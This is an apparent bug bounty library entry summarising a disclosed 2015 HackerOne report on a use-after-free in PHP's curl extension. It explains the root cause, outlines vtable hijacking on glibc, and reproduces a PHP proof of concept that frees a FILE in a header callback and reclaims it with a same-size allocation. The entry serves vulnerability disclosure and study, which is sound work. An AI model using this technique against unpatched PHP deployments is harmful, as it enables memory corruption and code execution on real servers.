# Use-after-free in php_curl related to CURLOPT_FILE/_INFILE/_WRITEHEADER

PHP's curl extension stores a stdio FILE* from CURLOPT_FILE/INFILE/WRITEHEADER; a curl callback can fclose the stream, freeing the FILE, then reallocate it for code execution.

- Payout: hidden
- Severity: high
- Program: Internet Bug Bounty
- Found by: mongo
- Disclosed: 2015-04-14
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/73246
- Library page: https://bugbountylibrary.com/r/h1%3A73246
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:curl tech:php technique:source-review vuln:memory-corruption vuln:rce

**Target:** ext/curl/interface.c in PHP
**Root cause:** _php_curl_setopt casts user streams to stdio FILE* and stores them in ch->handlers; _php_curl_verify_handlers only checks stream openness once before curl_exec, but curl callbacks can fclose the stream afterward, leaving dangling FILE* pointers used by curl_write/curl_read/curl_write_header and fflush.
**Steps:**
1. Set CURLOPT_FILE (or INFILE/WRITEHEADER) to an open stream and CURLOPT_HEADERFUNCTION to a callback.
2. In the header callback, `fclose($f_file)` to free the FILE structure.
3. Immediately allocate a same-size buffer via `curl_setopt($ch, CURLOPT_COOKIE, str_repeat("a", $FILE_size - 1))` where FILE_size is 0x160 (32-bit) or 0x238 (64-bit) to reclaim the freed FILE.
4. curl_exec continues and curl_write/curl_write_header/fflush dereference the now-controlled FILE, giving arbitrary code execution via the FILE vtable on glibc.
**How found:** Code review of ext/curl/interface.c: noticed _php_curl_verify_handlers only validates streams once before curl_exec, while callbacks invoked during curl_exec can still close the stream, leaving stored FILE* dangling.
**Exploitation:** Attacker-controlled PHP code closes the stream inside a curl callback, sprays a same-size allocation to occupy the freed FILE address, and the subsequent curl write/header callbacks and fflush() calls invoke function pointers from the attacker-controlled FILE vtable, yielding code execution on Linux/glibc.
**Insight:** When a library caches a raw pointer derived from a user object and validates it only at entry, look for callbacks invoked mid-operation that can invalidate the underlying object; FILE* casts from PHP streams are a classic dangling-pointer source.

## Proof of concept (copied exactly from the original report)

**PHP test script triggering use-after-free via header callback**

```
<?php
function hdr_callback($ch, $data) {
    global $f_file;

    if ($f_file) {
            // close the stream, causing the FILE structure to be free()'d
        fclose($f_file); $f_file = 0;

        // cause an allocation of approx the same size as a FILE structure, size varies a bit depending on platform/libc
        $FILE_size = (PHP_INT_SIZE == 4 ? 0x160 : 0x238);
        curl_setopt($ch, CURLOPT_COOKIE, str_repeat("a", $FILE_size - 1));
    }

    return strlen($data);
}

$ch = curl_init('http://www.php.net/');
$f_file = fopen("body", "w") or die("failed to open file\n");
curl_setopt($ch, CURLOPT_BUFFERSIZE, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, "hdr_callback");
curl_setopt($ch, CURLOPT_FILE, $f_file);
curl_exec($ch);
?>
```

